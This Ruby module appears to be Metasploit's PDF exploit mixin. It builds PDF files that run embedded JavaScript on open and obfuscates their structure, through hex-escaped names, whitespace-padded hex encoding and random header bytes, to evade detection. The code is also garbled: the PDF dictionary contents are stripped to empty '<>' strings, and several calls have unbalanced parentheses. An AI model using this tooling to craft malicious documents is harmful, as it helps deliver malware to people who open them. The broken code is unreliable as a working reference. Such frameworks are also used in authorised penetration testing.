## # $Id$ ## ### # # This module provides methods for creating PDF files. # ### module Msf module Exploit::PDF def initialize(info = {}) super register_options( [ OptBool.new('PDF::Obfuscate', [ true, 'Whether or not we should obfuscate the output', true ]), ], Msf::Exploit::PDF ) # We're assuming we'll only create one pdf at a time here. @xref = [] @pdf = '' end def eol "\x0d\x0a" end def endobj "endobj" << eol end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj" % id end def ioRef(id) "%d 0 R" % id end # http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) return str if not datastore['PDF::Obfuscate'] result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) return str if not datastore['PDF::Obfuscate'] result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def header(version = '1.5') hdr = "%PDF-1.5" << eol hdr << "%" << RandomNonASCIIString(4) << eol hdr end def add_object(num, data) @xref << @pdf.length @pdf << ioDef(num) @pdf << data @pdf << endobj end def pdf_with_openaction_js(js) @xref = [] @pdf = '' @pdf << header add_object(1, nObfu("<>") add_object(2, nObfu("<>")) add_object(3, nObfu("<>")) add_object(4, nObfu("<>")) add_object(5, nObfu("<>") compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) stream = nObfu("<>" % compressed.length) << eol stream << "stream" << eol stream << compressed << eol stream << "endstream" << eol add_object(6, stream) finish_pdf end def finish_pdf @xref_offset = @pdf.length @pdf << xref_table @pdf << trailer(1) @pdf << startxref @pdf end def xref_table ret = "xref" << eol ret << "0 %d" % (@xref.length + 1) << eol ret << "0000000000 65535 f" << eol @xref.each do |index| ret << "%010d 00000 n" % index << eol end ret end def trailer(root_obj) ret = "trailer" << nObfu("<>" << eol ret end def startxref ret = "startxref" << eol ret << @xref_offset.to_s << eol ret << "%%EOF" << eol ret end end end